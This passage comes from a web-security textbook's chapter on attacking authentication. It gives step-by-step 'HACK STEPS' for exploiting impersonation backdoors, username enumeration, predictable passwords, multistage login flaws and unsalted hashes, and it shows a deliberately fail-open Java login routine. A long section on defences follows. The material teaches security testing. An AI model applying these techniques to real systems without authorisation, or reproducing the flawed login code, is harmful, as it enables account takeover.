Explorer’s userData, Silverlight isolated storage, or Flash local shared objects. Look for any saved data that identifies the user explicitly or appears to contain some predictable identifier of the user. 3. Even where stored data appears to be heavily encoded or obfuscated, review this closely. Compare the results of “remembering” several very similar usernames and/or passwords to identify any opportunities to reverse-engineer the original data. Here, use the same techniques that are described in Chapter 7 to detect meaning and patterns in session tokens. 4. Attempt to modify the contents of the persistent cookie to try to con- vince the application that another user has saved his details on your computer. c06.indd 177c06.indd 177 8/19/2011 12:06:39 PM8/19/2011 12:06:39 PMStuttard c06.indd V3 - 07/22/2011 Page 178 178 Chapter 6 Attacking Authentication TRY IT! http://mdsec.net/auth/219/ http://mdsec.net/auth/224/ http://mdsec.net/auth/227/ http://mdsec.net/auth/229/ http://mdsec.net/auth/232/ http://mdsec.net/auth/236/ http://mdsec.net/auth/239/ http://mdsec.net/auth/245/ User Impersonation Functionality Some applications implement the facility for a privileged user of the application to impersonate other users in order to access data and carry out actions within their user context. For example, some banking applications allow helpdesk opera- tors to verbally authenticate a telephone user and then switch their application session into that user’s context to assist him or her. Various design fl aws commonly exist within impersonation functionality: It may be implemented as a “hidden” function, which is not subject to proper access controls. For example, anyone who knows or guesses the URL /admin/ImpersonateUser.jsp may be able to make use of the func- tion and impersonate any other user (see Chapter 8). The application may trust user-controllable data when determining whether the user is performing impersonation. For example, in addition to a valid session token, a user may submit a cookie specifying which account his session is currently using. An attacker may be able to modify this value and gain access to other user accounts without authentication, as shown in Figure 6-7. If an application allows administrative users to be impersonated, any weak- ness in the impersonation logic may result in a vertical privilege escalation vulnerability. Rather than simply gaining access to other ordinary users’ data, an attacker may gain full control of the application. Some impersonation functionality is implemented as a simple “backdoor” password that can be submitted to the standard login page along with any username to authenticate as that user. This design is highly insecure for many reasons, but the biggest opportunity for attackers is that they are likely to discover this password when performing standard attacks such as brute-forcing of the login. If the backdoor password is matched before the user’s actual password, the attacker is likely to discover the function of c06.indd 178c06.indd 178 8/19/2011 12:06:39 PM8/19/2011 12:06:39 PMStuttard c06.indd V3 - 07/22/2011 Page 179 Chapter 6 Attacking Authentication 179 the backdoor password and therefore gain access to every user’s account. Similarly, a brute-force attack might result in two different “hits,” thereby revealing the backdoor password, as shown in Figure 6-8. Figure 6-7: A vulnerable user impersonation function HACK STEPS 1. Identify any impersonation functionality within the application. If this is not explicitly linked from published content, it may still be implemented (see Chapter 4). 2. Attempt to use the impersonation functionality directly to impersonate other users. 3. Attempt to manipulate any user-supplied data that is processed by the impersonation function in an attempt to impersonate other users. Pay particular attention to any cases where your username is being submitted other than during normal login. 4. If you succeed in making use of the functionality, attempt to impersonate any known or guessed administrative users to elevate privileges. 5. When carrying out password-guessing attacks (see the “Brute-Forcible Login” section), review whether any users appear to have more than one valid password, or whether a specific password has been matched against several usernames. Also, log in as many different users with the credentials captured in a brute-force attack, and review whether everything appears normal. Pay close attention to any “logged in as X” status message. c06.indd 179c06.indd 179 8/19/2011 12:06:39 PM8/19/2011 12:06:39 PMStuttard c06.indd V3 - 07/22/2011 Page 180 180 Chapter 6 Attacking Authentication TRY IT! http://mdsec.net/auth/272/ http://mdsec.net/auth/290/ Figure 6-8: A password-guessing attack with two “hits,” indicating the presence of a backdoor password Incomplete Validation of Credentials Well-designed authentication mechanisms enforce various requirements on passwords, such as a minimum length or the presence of both uppercase and lowercase characters. Correspondingly, some poorly designed authentication mechanisms not only do not enforce these good practices but also do not take into account users’ own attempts to comply with them. For example, some applications truncate passwords and therefore validate only the fi rst n characters. Some applications perform a case-insensitive check of passwords. Some applications strip unusual characters (sometimes on the pretext of performing input validation) before checking passwords. In recent times, behavior of this kind has been identifi ed in some surprisingly high-profi le web applications, usually as a result of trial and error by curious users. c06.indd 180c06.indd 180 8/19/2011 12:06:39 PM8/19/2011 12:06:39 PMStuttard c06.indd V3 - 07/22/2011 Page 181 Chapter 6 Attacking Authentication 181 Each of these limitations on password validation reduces by an order of magnitude the number of variations available in the set of possible passwords. Through experimentation, you can determine whether a password is being fully validated or whether any limitations are in effect. You can then fi ne-tune your automated attacks against the login to remove unnecessary test cases, thereby massively reducing the number of requests necessary to compromise user accounts. HACK STEPS 1. Using an account you control, attempt to log in with variations on your own password: removing the last character, changing the case of a char- acter, and removing any special typographical characters. If any of these attempts is successful, continue experimenting to try to understand what validation is actually occurring. 2. Feed any results back into your automated password-guessing attacks to remove superfluous test cases and improve the chances of success. TRY IT! http://mdsec.net/auth/293/ Nonunique Usernames Some applications that support self-registration allow users to specify their own username and do not enforce a requirement that usernames be unique. Although this is rare, the authors have encountered more than one application with this behavior. This represents a design fl aw for two reasons: One user who shares a username with another user may also happen to select the same password as that user, either during registration or in a subsequent password change. In this eventuality, the application either rejects the second user’s chosen password or allows two accounts to have identical credentials. In the fi rst instance, the application’s behavior effectively discloses to one user the credentials of the other user. In the second instance, subsequent logins by one of the users result in access to the other user’s account. An attacker may exploit this behavior to carry out a successful brute-force attack, even though this may not be possible elsewhere due to restrictions on failed login attempts. An attacker can register a specifi c username c06.indd 181c06.indd 181 8/19/2011 12:06:39 PM8/19/2011 12:06:39 PMStuttard c06.indd V3 - 07/22/2011 Page 182 182 Chapter 6 Attacking Authentication multiple times with different passwords while monitoring for the dif- ferential response that indicates that an account with that username and password already exists. The attacker will have ascertained a target user’s password without making a single attempt to log in as that user. Badly designed self-registration functionality can also provide a means for username enumeration. If an application disallows duplicate usernames, an attacker may attempt to register large numbers of common usernames to iden- tify the existing usernames that are rejected. HACK STEPS 1. If self-registration is possible, attempt to register the same username twice with different passwords. 2. If the application blocks the second registration attempt, you can exploit this behavior to enumerate existing usernames even if this is not possible on the main login page or elsewhere. Make multiple registration attempts with a list of common usernames to identify the already registered names that the application blocks. 3. If the registration of duplicate usernames succeeds, attempt to register the same username twice with the same password, and determine the application’s behavior: a. If an error message results, you can exploit this behavior to carry out a brute-force attack, even if this is not possible on the main login page. Target an enumerated or guessed username, and attempt to register this username multiple times with a list of common passwords. When the application rejects a specific password, you have probably found the existing password for the targeted account. b. If no error message results, log in using the credentials you speci- fied, and see what happens. You may need to register several users, and modify different data held within each account, to understand whether this behavior can be used to gain unauthorized access to other users’ accounts. Predictable Usernames Some applications automatically generate account usernames according to a predictable sequence (cust5331, cust5332, and so on). When an application behaves like this, an attacker who can discern the sequence can quickly arrive at a potentially exhaustive list of all valid usernames, which can be used as the basis for further attacks. Unlike enumeration methods that rely on making repeated requests driven by wordlists, this means of determining usernames can be carried out nonintrusively with minimal interaction with the application. c06.indd 182c06.indd 182 8/19/2011 12:06:40 PM8/19/2011 12:06:40 PMStuttard c06.indd V3 - 07/22/2011 Page 183 Chapter 6 Attacking Authentication 183 HACK STEPS 1. If the application generates usernames, try to obtain several in quick succession, and determine whether any sequence or pattern can be discerned. 2. If it can, extrapolate backwards to obtain a list of possible valid user- names. This can be used as the basis for a brute-force attack against the login and other attacks where valid usernames are required, such as the exploitation of access control flaws (see Chapter 8). TRY IT! http://mdsec.net/auth/169/ Predictable Initial Passwords In some applications, users are created all at once or in sizeable batches and are automatically assigned initial passwords, which are then distributed to them through some means. The means of generating passwords may enable an attacker to predict the passwords of other application users. This kind of vulnerability is more common on intranet-based corporate applications — for example, where every employee has an account created on her behalf and receives a printed notifi cation of her password. In the most vulnerable cases, all users receive the same password, or one closely derived from their username or job function. In other cases, generated passwords may contain sequences that could be identifi ed or guessed with access to a very small sample of initial passwords. HACK STEPS 1. If the application generates passwords, try to obtain several in quick succession, and determine whether any sequence or pattern can be discerned. 2. If it can, extrapolate the pattern to obtain a list of passwords for other application users. 3. If passwords demonstrate a pattern that can be correlated with user- names, you can try to log in using known or guessed usernames and the corresponding inferred passwords. 4. Otherwise, you can use the list of inferred passwords as the basis for a brute-force attack with a list of enumerated or common usernames. c06.indd 183c06.indd 183 8/19/2011 12:06:40 PM8/19/2011 12:06:40 PMStuttard c06.indd V3 - 07/22/2011 Page 184 184 Chapter 6 Attacking Authentication TRY IT! http://mdsec.net/auth/172/ Insecure Distribution of Credentials Many applications employ a process in which credentials for newly created accounts are distributed to users out-of-band of their normal interaction with the applica- tion (for example, via post, e-mail, or SMS text message). Sometimes, this is done for reasons motivated by security concerns, such as to provide assurance that the postal or e-mail address supplied by the user actually belongs to that person. In some cases, this process can present a security risk. For example, suppose that the message distributed contains both username and password, there is no time limit on their use, and there is no requirement for the user to change the password on fi rst login. It is highly likely that a large number, even the majority, of application users will not modify their initial credentials and that the distribution messages will remain in existence for a lengthy period, during which they may be accessed by an unauthorized party. Sometimes, what is distributed is not the credentials themselves, but rather an “account activation” URL, which enables users to set their own initial pass- word. If the series of these URLs sent to successive users manifests any kind of sequence, an attacker can identify this by registering multiple users in close suc- cession and then infer the activation URLs sent to recent and forthcoming users. A related behavior by some web applications is to allow new users to register accounts in a seemingly secure manner and then to send a welcome e-mail to each new user containing his full login credentials. In the worst case, a security- conscious user who decides to immediately change his possibly compromised password then receives another e-mail containing the new password “for future reference.” This behavior is so bizarre and unnecessary that users would be well advised to stop using web applications that indulge in it. HACK STEPS 1. Obtain a new account. If you are not required to set all credentials during registration, determine the means by which the application distributes credentials to new users. 2. If an account activation URL is used, try to register several new accounts in close succession, and identify any sequence in the URLs you receive. If a pattern can be determined, try to predict the activation URLs sent to recent and forthcoming users, and attempt to use these URLs to take own- ership of their accounts. 3. Try to reuse a single activation URL multiple times, and see if the applica- tion allows this. If not, try locking out the target account before reusing the URL, and see if it now works. c06.indd 184c06.indd 184 8/19/2011 12:06:40 PM8/19/2011 12:06:40 PMStuttard c06.indd V3 - 07/22/2011 Page 185 Chapter 6 Attacking Authentication 185 Implementation Flaws in Authentication Even a well-designed authentication mechanism may be highly insecure due to mistakes made in its implementation. These mistakes may lead to information leakage, complete login bypassing, or a weakening of the overall security of the mechanism as designed. Implementation fl aws tend to be more subtle and harder to detect than design defects such as poor-quality passwords and brute- forcibility. For this reason, they are often a fruitful target for attacks against the most security-critical applications, where numerous threat models and penetration tests are likely to have claimed any low-hanging fruit. The authors have identifi ed each of the implementation fl aws described here within the web applications deployed by large banks. Fail-Open Login Mechanisms Fail-open logic is a species of logic fl aw (described in detail in Chapter 11) that has particularly serious consequences in the context of authentication mechanisms. The following is a fairly contrived example of a login mechanism that fails open. If the call to db.getUser() throws an exception for some reason (for example, a null pointer exception arising because the user’s request did not contain a username or password parameter), the login succeeds. Although the resulting session may not be bound to a particular user identity and therefore may not be fully functional, this may still enable an attacker to access some sensitive data or functionality. public Response checkLogin(Session session) { try { String uname = session.getParameter(“username”); String passwd = session.getParameter(“password”); User user = db.getUser(uname, passwd); if (user == null) { // invalid credentials session.setMessage(“Login failed. “); return doLogin(session); } } catch (Exception e) {} // valid user session.setMessage(“Login successful. “); return doMainMenu(session); } In the fi eld, you would not expect code like this to pass even the most cursory security review. However, the same conceptual fl aw is much more likely to exist in more complex mechanisms in which numerous layered method invocations c06.indd 185c06.indd 185 8/19/2011 12:06:40 PM8/19/2011 12:06:40 PMStuttard c06.indd V3 - 07/22/2011 Page 186 186 Chapter 6 Attacking Authentication are made, in which many potential errors may arise and be handled in different places, and where the more complicated validation logic may involve maintain- ing signifi cant state about the login’s progress. HACK STEPS 1. Perform a complete, valid login using an account you control. Record every piece of data submitted to the application, and every response received, using your intercepting proxy. 2. Repeat the login process numerous times, modifying pieces of the data submitted in unexpected ways. For example, for each request parameter or cookie sent by the client, do the following: a. Submit an empty string as the value. b. Remove the name/value pair altogether. c. Submit very long and very short values. d. Submit strings instead of numbers and vice versa. e. Submit the same item multiple times, with the same and different values. 3. For each malformed request submitted, review closely the application’s response to identify any divergences from the base case. 4. Feed these observations back into framing your test cases. When one modification causes a change in behavior, try to combine this with other changes to push the application’s logic to its limits. TRY IT! http://mdsec.net/auth/300/ Defects in Multistage Login Mechanisms Some applications use elaborate login mechanisms involving multiple stages, such as the following: Entry of a username and password A challenge for specifi c digits from a PIN or a memorable word The submission of a value displayed on a changing physical token Multistage login mechanisms are designed to provide enhanced security over the simple model based on username and password. Typically, the fi rst stage requires the users to identify themselves with a username or similar item, and subsequent stages perform various authentication checks. Such mechanisms c06.indd 186c06.indd 186 8/19/2011 12:06:40 PM8/19/2011 12:06:40 PMStuttard c06.indd V3 - 07/22/2011 Page 187 Chapter 6 Attacking Authentication 187 frequently contain security vulnerabilities — in particular, various logic fl aws (see Chapter 11). COMMON MYTH It is often assumed that multistage login mechanisms are less prone to secu- rity bypasses than standard username/password authentication. This belief is mistaken. Performing several authentication checks may add considerable security to the mechanism. But counterbalancing this, the process is more prone to fl aws in implementation. In several cases where a combination of fl aws is present, it can even result in a solution that is less secure than a nor- mal login based on username and password. Some implementations of multistage login mechanisms make potentially unsafe assumptions at each stage about the user’s interaction with earlier stages: An application may assume that a user who accesses stage three must have cleared stages one and two. Therefore, it may authenticate an attacker who proceeds directly from stage one to stage three and correctly com- pletes it, enabling an attacker to log in with only one part of the various credentials normally required. An application may trust some of the data being processed at stage two because this was validated at stage one. However, an attacker may be able to manipulate this data at stage two, giving it a different value than was validated at stage one. For example, at stage one the application might determine whether the user’s account has expired, is locked out, or is in the administrative group, or whether it needs to complete further stages of the login beyond stage two. If an attacker can interfere with these fl ags as the login transitions between different stages, he may be able to modify the application’s behavior and cause it to authenticate him with only partial credentials or otherwise elevate privileges. An application may assume that the same user identity is used to complete each stage; however, it might not explicitly check this. For example, stage one might involve submitting a valid username and password, and stage two might involve resubmitting the username (now in a hidden form fi eld) and a value from a changing physical token. If an attacker submits valid data pairs at each stage, but for different users, the application might authenticate the user as either one of the identities used in the two stages. This would enable an attacker who possesses his own physical token and discovers another user’s password to log in as that user (or vice versa). Although the login mechanism cannot be completely compromised with- out any prior information, its overall security posture is substantially weakened, and the substantial expense and effort of implementing the two-factor mechanism do not deliver the benefi ts expected. c06.indd 187c06.indd 187 8/19/2011 12:06:40 PM8/19/2011 12:06:40 PMStuttard c06.indd V3 - 07/22/2011 Page 188 188 Chapter 6 Attacking Authentication HACK STEPS 1. Perform a complete, valid login using an account you control. Record every piece of data submitted to the application using your intercepting proxy. 2. Identify each distinct stage of the login and the data that is collected at each stage. Determine whether any single piece of information is collected more than once or is ever transmitted back to the client and resubmitted via a hidden form field, cookie, or preset URL parameter (see Chapter 5). 3. Repeat the login process numerous times with various malformed requests: a. Try performing the login steps in a different sequence. b. Try proceeding directly to any given stage and continuing from there. c. Try skipping each stage and continuing with the next. d. Use your imagination to think of other ways to access the different stages that the developers may not have anticipated. 4. If any data is submitted more than once, try submitting a different value at different stages, and see whether the login is still successful. It may be that some of the submissions are superfluous and are not actually processed by the application. It might be that the data is validated at one stage and then trusted subsequently. In this instance, try to provide the credentials of one user at one stage, and then switch at the next to actu- ally authenticate as a different user. It might be that the same piece of data is validated at more than one stage, but against different checks. In this instance, try to provide (for example) the username and password of one user at the first stage, and the username and PIN of a different user at the second stage. 5. Pay close attention to any data being transmitted via the client that was not directly entered by the user. The application may use this data to store information about the state of the login progress, and the application may trust it when it is submitted back to the server. For example, if the request for stage three includes the parameter stage2complete=true, it may be possible to advance straight to stage three by setting this value. Try to modify the values being submitted, and determine whether this enables you to advance or skip stages. TRY IT! http://mdsec.net/auth/195/ http://mdsec.net/auth/199/ http://mdsec.net/auth/203/ http://mdsec.net/auth/206/ http://mdsec.net/auth/211/ c06.indd 188c06.indd 188 8/19/2011 12:06:40 PM8/19/2011 12:06:40 PMStuttard c06.indd V3 - 07/22/2011 Page 189 Chapter 6 Attacking Authentication 189 Some login mechanisms employ a randomly varying question at one of the stages of the login process. For example, after submitting a username and password, users might be asked one of various “secret” questions (regarding their mother’s maiden name, place of birth, name of fi rst school) or to submit two random letters from a secret phrase. The rationale for this behavior is that even if an attacker captures everything that a user enters on a single occasion, this will not enable him to log in as that user on a different occasion, because different questions will be asked. In some implementations, this functionality is broken and does not achieve its objectives: The application may present a randomly chosen question and store the details within a hidden HTML form fi eld or cookie, rather than on the server. The user subsequently submits both the answer and the question itself. This effectively allows an attacker to choose which question to answer, enabling the attacker to repeat a login after capturing a user’s input on a single occasion. The application may present a randomly chosen question on each login attempt but not remember which question a given user was asked if he or she fails to submit an answer. If the same user initiates a fresh login attempt a moment later, a different random question is generated. This effectively allows an attacker to cycle through questions until he receives one to which he knows the answer, enabling him to repeat a login having captured a user’s input on a single occasion. NOTE The second of these conditions is really quite subtle, and as a result, many real-world applications are vulnerable. An application that challenges a user for two random letters of a memorable word may appear at fi rst glance to be functioning properly and providing enhanced security. However, if the letters are randomly chosen each time the previous authentication stage is passed, an attacker who has captured a user’s login on a single occasion can simply reauthenticate up to this point until the two letters that he knows are requested, without the risk of account lockout. HACK STEPS 1. If one of the login stages uses a randomly varying question, verify whether the details of the question are being submitted together with the answer. If so, change the question, submit the correct answer associated with that question, and verify whether the login is still successful. 2. If the application does not enable an attacker to submit an arbitrary question and answer, perform a partial login several times with a single account, proceeding each time as far as the varying question. If the ques- tion changes on each occasion, an attacker can still effectively choose which question to answer. c06.indd 189c06.indd 189 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 190 190 Chapter 6 Attacking Authentication TRY IT! http://mdsec.net/auth/178/ http://mdsec.net/auth/182/ NOTE In some applications where one component of the login varies ran- domly, the application collects all of a user’s credentials at a single stage. For example, the main login page may present a form containing fi elds for username, password, and one of various secret questions. Each time the login page is loaded, the secret question changes. In this situation, the ran- domness of the secret question does nothing to prevent an attacker from replaying a valid login request having captured a user’s input on one occa- sion. The login process cannot be modifi ed to do so in its present form, because an attacker can simply reload the page until he receives the varying question to which he knows the answer. In a variation on this scenario, the application may set a persistent cookie to “ensure” that the same varying question is presented to any given user until that person answers it cor- rectly. Of course, this measure can be circumvented easily by modifying or deleting the cookie. Insecure Storage of Credentials If an application stores login credentials insecurely, the security of the login mechanism is undermined, even though there may be no inherent fl aw in the authentication process itself. It is common to encounter web applications in which user credentials are stored insecurely within the database. This may involve passwords being stored in cleartext. But if passwords are being hashed using a standard algo- rithm such as MD5 or SHA-1, this still allows an attacker to simply look up observed hashes against a precomputed database of hash values. Because the database account used by the application must have full read/write access to those credentials, many other kinds of vulnerabilities within the application may be exploitable to enable you to access these credentials, such as command or SQL injection fl aws (see Chapter 9) and access control weaknesses (see Chapter 8). TIP Some online databases of common hashing functions are available here: http://passcracking.com/index.php http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/ script-hash-md5.php c06.indd 190c06.indd 190 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 191 Chapter 6 Attacking Authentication 191 HACK STEPS 1. Review all of the application’s authentication-related functionality, as well as any functions relating to user maintenance. If you find any instances in which a user’s password is transmitted back to the client, this indicates that passwords are being stored insecurely, either in cleartext or using reversible encryption. 2. If any kind of arbitrary command or query execution vulnerability is identified within the application, attempt to find the location within the application’s database or filesystem where user credentials are stored: a. Query these to determine whether passwords are being stored in unencrypted form. b. If passwords are stored in hashed form, check for nonunique val- ues, indicating that an account has a common or default password assigned, and that the hashes are not being salted. c. If the password is hashed with a standard algorithm in unsalted form, query online hash databases to determine the corresponding cleartext password value. Securing Authentication Implementing a secure authentication solution involves attempting to simultane- ously meet several key security objectives, and in many cases trade off against other objectives such as functionality, usability, and total cost. In some cases “more” security can actually be counterproductive. For example, forcing users to set very long passwords and change them frequently often causes users to write down their passwords. Because of the enormous variety of possible authentication vulnerabilities, and the potentially complex defenses that an application may need to deploy to mitigate against all of them, many application designers and developers choose to accept certain threats as a given and concentrate on preventing the most seri- ous attacks. Here are some factors to consider in striking an appropriate balance: The criticality of security given the functionality that the application offers The degree to which users will tolerate and work with different types of authentication controls The cost of supporting a less user-friendly system The fi nancial cost of competing alternatives in relation to the revenue likely to be generated by the application or the value of the assets it protects c06.indd 191c06.indd 191 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 192 192 Chapter 6 Attacking Authentication This section describes the most effective ways to defeat the various attacks against authentication mechanisms. We’ll leave it to you to decide which kinds of defenses are most appropriate in each case. Use Strong Credentials Suitable minimum password quality requirements should be enforced. These may include rules regarding minimum length; the appearance of alphabetic, numeric, and typographic characters; the appearance of both uppercase and lowercase characters; the avoidance of dictionary words, names, and other common passwords; preventing a password from being set to the username; and preventing a similarity or match with previ- ously set passwords. As with most security measures, different password quality requirements may be appropriate for different categories of user. Usernames should be unique. Any system-generated usernames and passwords should be created with suffi cient entropy that they cannot feasibly be sequenced or pre- dicted — even by an attacker who gains access to a large sample of suc- cessively generated instances. Users should be permitted to set suffi ciently strong passwords. For example, long passwords and a wide range of characters should be allowed. Handle Credentials Secretively All credentials should be created, stored, and transmitted in a manner that does not lead to unauthorized disclosure. All client-server communications should be protected using a well- established cryptographic technology, such as SSL. Custom solutions for protecting data in transit are neither necessary nor desirable. If it is considered preferable to use HTTP for the unauthenticated areas of the application, ensure that the login form itself is loaded using HTTPS, rather than switching to HTTPS at the point of the login submission. Only POST requests should be used to transmit credentials to the server. Credentials should never be placed in URL parameters or cookies (even ephemeral ones). Credentials should never be transmitted back to the client, even in parameters to a redirect. All server-side application components should store credentials in a man- ner that does not allow their original values to be easily recovered, even by an attacker who gains full access to all the relevant data within the c06.indd 192c06.indd 192 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 193 Chapter 6 Attacking Authentication 193 application’s database. The usual means of achieving this objective is to use a strong hash function (such as SHA-256 at the time of this writing), appropriately salted to reduce the effectiveness of precomputed offl ine attacks. The salt should be specifi c to the account that owns the password, such that an attacker cannot replay or substitute hash values. Client-side “remember me” functionality should in general remember only nonsecret items such as usernames. In less security-critical applications, it may be considered appropriate to allow users to opt in to a facility to remember passwords. In this situation, no cleartext credentials should be stored on the client (the password should be stored reversibly encrypted using a key known only to the server). Also, users should be warned about risks from an attacker who has physical access to their computer or who compromises their computer remotely. Particular attention should be paid to eliminating cross-site scripting vulnerabilities within the application that may be used to steal stored credentials (see Chapter 12). A password change facility should be implemented (see the “Prevent Misuse of the Password Change Function” section), and users should be required to change their password periodically. Where credentials for new accounts are distributed to users out-of-band, these should be sent as securely as possible and should be time-limited. The user should be required to change them on fi rst login and should be told to destroy the communication after fi rst use. Where applicable, consider capturing some of the user’s login information (for example, single letters from a memorable word) using drop-down menus rather than text fi elds. This will prevent any keyloggers installed on the user’s computer from capturing all the data the user submits. (Note, however, that a simple keylogger is only one means by which an attacker can capture user input. If he or she has already compromised a user’s computer, in principle an attacker can log every type of event, including mouse movements, form submissions over HTTPS, and screen captures.) Validate Credentials Properly Passwords should be validated in full — that is, in a case-sensitive way, without fi ltering or modifying any characters, and without truncating the password. The application should be aggressive in defending itself against unex- pected events occurring during login processing. For example, depending on the development language in use, the application should use catch-all exception handlers around all API calls. These should explicitly delete all c06.indd 193c06.indd 193 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 194 194 Chapter 6 Attacking Authentication session and method-local data being used to control the state of the login processing and should explicitly invalidate the current session, thereby causing a forced logout by the server even if authentication is somehow bypassed. All authentication logic should be closely code-reviewed, both as pseudo- code and as actual application source code, to identify logic errors such as fail-open conditions. If functionality to support user impersonation is implemented, this should be strictly controlled to ensure that it cannot be misused to gain unau- thorized access. Because of the criticality of the functionality, it is often worthwhile to remove this functionality from the public-facing applica- tion and implement it only for internal administrative users, whose use of impersonation should be tightly controlled and audited. Multistage logins should be strictly controlled to prevent an attacker from interfering with the transitions and relationships between the stages: All data about progress through the stages and the results of previous validation tasks should be held in the server-side session object and should never be transmitted to or read from the client. No items of information should be submitted more than once by the user, and there should be no means for the user to modify data that has already been collected and/or validated. Where an item of data such as a username is used at multiple stages, this should be stored in a session variable when fi rst collected and referenced from there subsequently. The fi rst task carried out at every stage should be to verify that all prior stages have been correctly completed. If this is not the case, the authentication attempt should immediately be marked as bad. To prevent information leakage about which stage of the login failed (which would enable an attacker to target each stage in turn), the appli- cation should always proceed through all stages of the login, even if the user failed to complete earlier stages correctly, and even if the original username was invalid. After proceeding through all the stages, the application should present a generic “login failed” message at the conclusion of the fi nal stage, without providing any information about where the failure occurred. Where a login process includes a randomly varying question, ensure that an attacker cannot effectively choose his own question: Always employ a multistage process in which users identify themselves at an initial stage and the randomly varying question is presented to them at a later stage. c06.indd 194c06.indd 194 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 195 Chapter 6 Attacking Authentication 195 When a given user has been presented with a given varying question, store that question within her persistent user profi le, and ensure that the same user is presented with the same question on each attempted login until she successfully answers it. When a randomly varying challenge is presented to the user, store the question that has been asked in a server-side session variable, rather than a hidden fi eld in an HTML form, and validate the subsequent answer against that saved question. NOTE The subtleties of devising a secure authentication mechanism run deep here. If care is not taken in the asking of a randomly varying question, this can lead to new opportunities for username enumeration. For example, to prevent an attacker from choosing his own question, an application may store within each user’s profi le the last question that user was asked, and continue presenting that question until the user answers it correctly. An attacker who initiates several logins using any given user’s username will be met with the same question. However, if the attacker carries out the same process using an invalid username, the application may behave differently: because no user profi le is associated with an invalid username, there will be no stored question, so a varying question will be presented. The attacker can use this difference in behavior, manifested across several login attempts, to infer the validity of a given username. In a scripted attack, he will be able to harvest numerous usernames quickly. If an application wants to defend itself against this possibility, it must go to some lengths. When a login attempt is initiated with an invalid username, the application must record somewhere the random question that it presented for that invalid username and ensure that subsequent login attempts using the same username are met with the same question. Going even further, the application could switch to a different question periodically to simulate the nonexistent user’s having logged in as normal, resulting in a change in the next question! At some point, however, the application designer must draw a line and concede that a total victory against such a determined attacker prob- ably is not possible. Prevent Information Leakage The various authentication mechanisms used by the application should not disclose any information about authentication parameters, through either overt messages or inference from other aspects of the application’s behavior. An attacker should have no means of determining which piece of the various items submitted has caused a problem. A single code component should be responsible for responding to all failed login attempts with a generic message. This avoids a subtle vulnerability c06.indd 195c06.indd 195 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 196 196 Chapter 6 Attacking Authentication that can occur when a supposedly uninformative message returned from different code paths can actually be spotted by an attacker due to typo- graphical differences in the message, different HTTP status codes, other information hidden in HTML, and the like. If the application enforces some kind of account lockout to prevent brute- force attacks (as discussed in the next section), be careful not to let this lead to any information leakage. For example, if an application discloses that a specifi c account has been suspended for X minutes due to Y failed logins, this behavior can easily be used to enumerate valid usernames. In addition, disclosing the precise metrics of the lockout policy enables an attacker to optimize any attempt to continue guessing passwords in spite of the policy. To avoid enumeration of usernames, the application should respond to any series of failed login attempts from the same browser with a generic message advising that accounts are suspended if multiple failures occur and that the user should try again later. This can be achieved using a cookie or hidden fi eld to track repeated failures originating from the same browser. (Of course, this mechanism should not be used to enforce any actual security control — only to provide a helpful message to ordinary users who are struggling to remember their credentials.) If the application supports self-registration, it can prevent this function from being used to enumerate existing usernames in two ways: Instead of permitting self-selection of usernames, the application can create a unique (and unpredictable) username for each new user, thereby obviating the need to disclose that a selected username already exists. The application can use e-mail addresses as usernames. Here, the fi rst stage of the registration process requires the user to enter her e-mail address, whereupon she is told simply to wait for an e-mail and follow the instructions contained within it. If the e-mail address is already registered, the user can be informed of this in the e-mail. If the address is not already registered, the user can be provided with a unique, unguessable URL to visit to continue the registration process. This prevents the attacker from enumerating valid usernames (unless he happens to have already compromised a large number of e-mail accounts). Prevent Brute-Force Attacks Measures need to be enforced within all the various challenges imple- mented by the authentication functionality to prevent attacks that attempt to meet those challenges using automation. This includes the login itself, c06.indd 196c06.indd 196 8/19/2011 12:06:41 PM8/19/2011 12:06:41 PMStuttard c06.indd V3 - 07/22/2011 Page 197 Chapter 6 Attacking Authentication 197 as well as functions to change the password, to recover from a forgotten password situation, and the like. Using unpredictable usernames and preventing their enumeration presents a signifi cant obstacle to completely blind brute-force attacks and requires an attacker to have somehow discovered one or more specifi c usernames before mounting an attack. Some security-critical applications (such as online banks) simply disable an account after a small number of failed logins (such as three). They also require that the account owner take various out-of-band steps to reactivate the account, such as telephoning customer support and answering a series of security questions. Disadvantages of this policy are that it allows an attacker to deny service to legitimate users by repeatedly disabling their accounts, and the cost of providing the account recovery service. A more balanced policy, suitable for most security-aware applications, is to sus- pend accounts for a short period (such as 30 minutes) following a small number of failed login attempts (such as three). This serves to massively slow down any password-guessing attack, while mitigating the risk of denial-of-service attacks and also reducing call center work. If a policy of temporary account suspension is implemented, care should be taken to ensure its effectiveness: To prevent information leakage leading to username enumeration, the application should never indicate that any specifi c account has been suspended. Rather, it should respond to any series of failed logins, even those using an invalid username, with a message advising that accounts are suspended if multiple failures occur and that the user should try again later (as just discussed). The policy’s metrics should not be disclosed to users. Simply telling legitimate users to “try again later” does not seriously diminish their quality of service. But informing an attacker exactly how many failed attempts are tolerated, and how long the suspension period is, enables him to optimize any attempt to continue guessing passwords in spite of the policy. If an account is suspended, login attempts should be rejected without even checking the credentials. Some applications that have imple- mented a suspension policy remain vulnerable to brute-forcing because they continue to fully process login attempts during the suspension period, and they return a subtly (or not so subtly) different mes- sage when valid credentials are submitted. This behavior enables an effective brute-force attack to proceed at full speed regardless of the suspension policy. c06.indd 197c06.indd 197 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c06.indd V3 - 07/22/2011 Page 198 198 Chapter 6 Attacking Authentication Per-account countermeasures such as account lockout do not help protect against one kind of brute-force attack that is often highly effective — iterat- ing through a long list of enumerated usernames, checking a single weak password, such as password. For example, if fi ve failed attempts trigger an account suspension, this means an attacker can attempt four different passwords on every account without causing any disruption to users. In a typical application containing many weak passwords, such an attacker is likely to compromise many accounts. The effectiveness of this kind of attack will, of course, be massively reduced if other areas of the authentication mechanism are designed securely. If usernames cannot be enumerated or reliably predicted, an attacker will be slowed down by the need to perform a brute-force exercise in guessing 